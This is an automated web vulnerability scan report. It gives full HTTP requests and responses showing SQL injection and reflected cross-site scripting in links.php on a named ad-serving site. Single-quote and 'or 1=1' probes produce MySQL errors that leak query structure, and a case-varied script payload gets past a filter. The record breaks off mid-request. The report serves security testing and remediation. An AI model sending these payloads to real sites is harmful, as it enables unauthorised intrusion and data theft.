SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The a parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the a parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect&id=infinityads&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767&a=32767'&q=6&s=%3C%3D&ah=10&al=2&l=english&campaign=&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 Host: www.angege.com Proxy-Connection: keep-alive Referer: http://ads.lzjl.com/newServing/links.php?zone=0&chad=1&adu=2&cs=&adtype=0&nid=5&sid=4620&pid=2860&spid=0&image=2&memkey=98b14fa99412193eba9071f7c8c32be7&durl=&lq=0&qp=YF4lITN9ISgg_H0ueyUlfiD5b1EwLSN8IzE Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 01:51:58 GMT Server: Apache/2.2.11 (Fedora) X-Powered-By: PHP/5.2.9 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 1255
<blockquote><blockquote><blockquote><h3><font color="#cc0000"> Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' & categorys) AND (langTarget = '' OR langTarget = 'english') AND ( geo' at line 4</font> ...[SNIP]...
The ah parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the ah parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect&id=infinityads&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767&a=32767&q=6&s=%3C%3D&ah=10'&al=2&l=english&campaign=&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 Host: www.angege.com Proxy-Connection: keep-alive Referer: http://ads.lzjl.com/newServing/links.php?zone=0&chad=1&adu=2&cs=&adtype=0&nid=5&sid=4620&pid=2860&spid=0&image=2&memkey=98b14fa99412193eba9071f7c8c32be7&durl=&lq=0&qp=YF4lITN9ISgg_H0ueyUlfiD5b1EwLSN8IzE Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 01:51:53 GMT Server: Apache/2.2.8 (Fedora) X-Powered-By: PHP/5.2.4 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 1256
<blockquote><blockquote><blockquote><h3><font color="#cc0000"> Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' > ...[SNIP]...
The al parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the al parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect&id=infinityads&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767&a=32767&q=6&s=%3C%3D&ah=10&al=2'&l=english&campaign=&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 Host: www.angege.com Proxy-Connection: keep-alive Referer: http://ads.lzjl.com/newServing/links.php?zone=0&chad=1&adu=2&cs=&adtype=0&nid=5&sid=4620&pid=2860&spid=0&image=2&memkey=98b14fa99412193eba9071f7c8c32be7&durl=&lq=0&qp=YF4lITN9ISgg_H0ueyUlfiD5b1EwLSN8IzE Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 01:52:10 GMT Server: Apache/2.2.11 (Fedora) X-Powered-By: PHP/5.2.9 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 1256
<blockquote><blockquote><blockquote><h3><font color="#cc0000"> Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ) AND ((regTarget1=0 AND regTarget2=0) OR regTarget2 & 256 ) AND si' at line 11</font> ...[SNIP]...
The c parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the c parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect&id=infinityads&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767'&a=32767&q=6&s=%3C%3D&ah=10&al=2&l=english&campaign=&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 Host: www.angege.com Proxy-Connection: keep-alive Referer: http://ads.lzjl.com/newServing/links.php?zone=0&chad=1&adu=2&cs=&adtype=0&nid=5&sid=4620&pid=2860&spid=0&image=2&memkey=98b14fa99412193eba9071f7c8c32be7&durl=&lq=0&qp=YF4lITN9ISgg_H0ueyUlfiD5b1EwLSN8IzE Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 01:51:54 GMT Server: Apache/2.2.11 (Fedora) X-Powered-By: PHP/5.2.9 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 1255
<blockquote><blockquote><blockquote><h3><font color="#cc0000"> Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') AND (adstype = 0 OR adstype = 9 OR adstype = 100) AND (categorys & 32759 ' at line 3</font> ...[SNIP]...
The campaign parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the campaign parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect&id=infinityads&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767&a=32767&q=6&s=%3C%3D&ah=10&al=2&l=english&campaign='&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 Host: www.angege.com Proxy-Connection: keep-alive Referer: http://ads.lzjl.com/newServing/links.php?zone=0&chad=1&adu=2&cs=&adtype=0&nid=5&sid=4620&pid=2860&spid=0&image=2&memkey=98b14fa99412193eba9071f7c8c32be7&durl=&lq=0&qp=YF4lITN9ISgg_H0ueyUlfiD5b1EwLSN8IzE Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 01:52:16 GMT Server: Apache/2.2.11 (Fedora) X-Powered-By: PHP/5.2.9 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 1191
<blockquote><blockquote><blockquote><h3><font color="#cc0000"> Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') limit 100' at line 13</font> ...[SNIP]...
Request 2
GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect&id=infinityads&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767&a=32767&q=6&s=%3C%3D&ah=10&al=2&l=english&campaign=''&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 Host: www.angege.com Proxy-Connection: keep-alive Referer: http://ads.lzjl.com/newServing/links.php?zone=0&chad=1&adu=2&cs=&adtype=0&nid=5&sid=4620&pid=2860&spid=0&image=2&memkey=98b14fa99412193eba9071f7c8c32be7&durl=&lq=0&qp=YF4lITN9ISgg_H0ueyUlfiD5b1EwLSN8IzE Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 2
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 01:52:15 GMT Server: Apache/2.2.9 (Fedora) X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 892
The id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the id parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect&id=infinityads'&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767&a=32767&q=6&s=%3C%3D&ah=10&al=2&l=english&campaign=&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 Host: www.angege.com Proxy-Connection: keep-alive Referer: http://ads.lzjl.com/newServing/links.php?zone=0&chad=1&adu=2&cs=&adtype=0&nid=5&sid=4620&pid=2860&spid=0&image=2&memkey=98b14fa99412193eba9071f7c8c32be7&durl=&lq=0&qp=YF4lITN9ISgg_H0ueyUlfiD5b1EwLSN8IzE Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 01:51:32 GMT Server: Apache/2.2.11 (Fedora) X-Powered-By: PHP/5.2.9 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 226
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2927222290' AND (adtype = -1 OR adtype = 0 OR adtype = 9 OR adtype = 1 OR ad' at line 1
Request 2
GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect&id=infinityads''&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767&a=32767&q=6&s=%3C%3D&ah=10&al=2&l=english&campaign=&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 Host: www.angege.com Proxy-Connection: keep-alive Referer: http://ads.lzjl.com/newServing/links.php?zone=0&chad=1&adu=2&cs=&adtype=0&nid=5&sid=4620&pid=2860&spid=0&image=2&memkey=98b14fa99412193eba9071f7c8c32be7&durl=&lq=0&qp=YF4lITN9ISgg_H0ueyUlfiD5b1EwLSN8IzE Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 2
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 01:51:32 GMT Server: Apache/2.2.9 (Fedora) X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 892
The q parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the q parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect&id=infinityads&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767&a=32767&q=6'&s=%3C%3D&ah=10&al=2&l=english&campaign=&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 Host: www.angege.com Proxy-Connection: keep-alive Referer: http://ads.lzjl.com/newServing/links.php?zone=0&chad=1&adu=2&cs=&adtype=0&nid=5&sid=4620&pid=2860&spid=0&image=2&memkey=98b14fa99412193eba9071f7c8c32be7&durl=&lq=0&qp=YF4lITN9ISgg_H0ueyUlfiD5b1EwLSN8IzE Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 01:52:00 GMT Server: Apache/2.2.9 (Fedora) X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 1256
<blockquote><blockquote><blockquote><h3><font color="#cc0000"> Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ) AND ( 6' > ...[SNIP]...
The serverfile parameter appears to be vulnerable to SQL injection attacks. The payloads 19368024'%20or%201%3d1--%20 and 19368024'%20or%201%3d2--%20 were each submitted in the serverfile parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect19368024'%20or%201%3d1--%20&id=infinityads&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767&a=32767&q=6&s=%3C%3D&ah=10&al=2&l=english&campaign=&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 Host: www.angege.com Proxy-Connection: keep-alive Referer: http://ads.lzjl.com/newServing/links.php?zone=0&chad=1&adu=2&cs=&adtype=0&nid=5&sid=4620&pid=2860&spid=0&image=2&memkey=98b14fa99412193eba9071f7c8c32be7&durl=&lq=0&qp=YF4lITN9ISgg_H0ueyUlfiD5b1EwLSN8IzE Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 05:13:06 GMT Server: Apache/2.2.9 (Fedora) X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 1569
GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect19368024'%20or%201%3d2--%20&id=infinityads&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767&a=32767&q=6&s=%3C%3D&ah=10&al=2&l=english&campaign=&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 Host: www.angege.com Proxy-Connection: keep-alive Referer: http://ads.lzjl.com/newServing/links.php?zone=0&chad=1&adu=2&cs=&adtype=0&nid=5&sid=4620&pid=2860&spid=0&image=2&memkey=98b14fa99412193eba9071f7c8c32be7&durl=&lq=0&qp=YF4lITN9ISgg_H0ueyUlfiD5b1EwLSN8IzE Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 2
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 05:13:06 GMT Server: Apache/2.2.9 (Fedora) X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 1579
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the q request parameter is copied into the HTML document as plain text between tags. The payload ba5ac<ScRiPt>alert(1)</ScRiPt>8355c3b9290 was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".
Remediation detail
Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.
Request
GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect&id=infinityads&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767&a=32767&q=6ba5ac<ScRiPt>alert(1)</ScRiPt>8355c3b9290&s=%3C%3D&ah=10&al=2&l=english&campaign=&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 Host: www.angege.com Proxy-Connection: keep-alive Referer: http://ads.lzjl.com/newServing/links.php?zone=0&chad=1&adu=2&cs=&adtype=0&nid=5&sid=4620&pid=2860&spid=0&image=2&memkey=98b14fa99412193eba9071f7c8c32be7&durl=&lq=0&qp=YF4lITN9ISgg_H0ueyUlfiD5b1EwLSN8IzE Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) 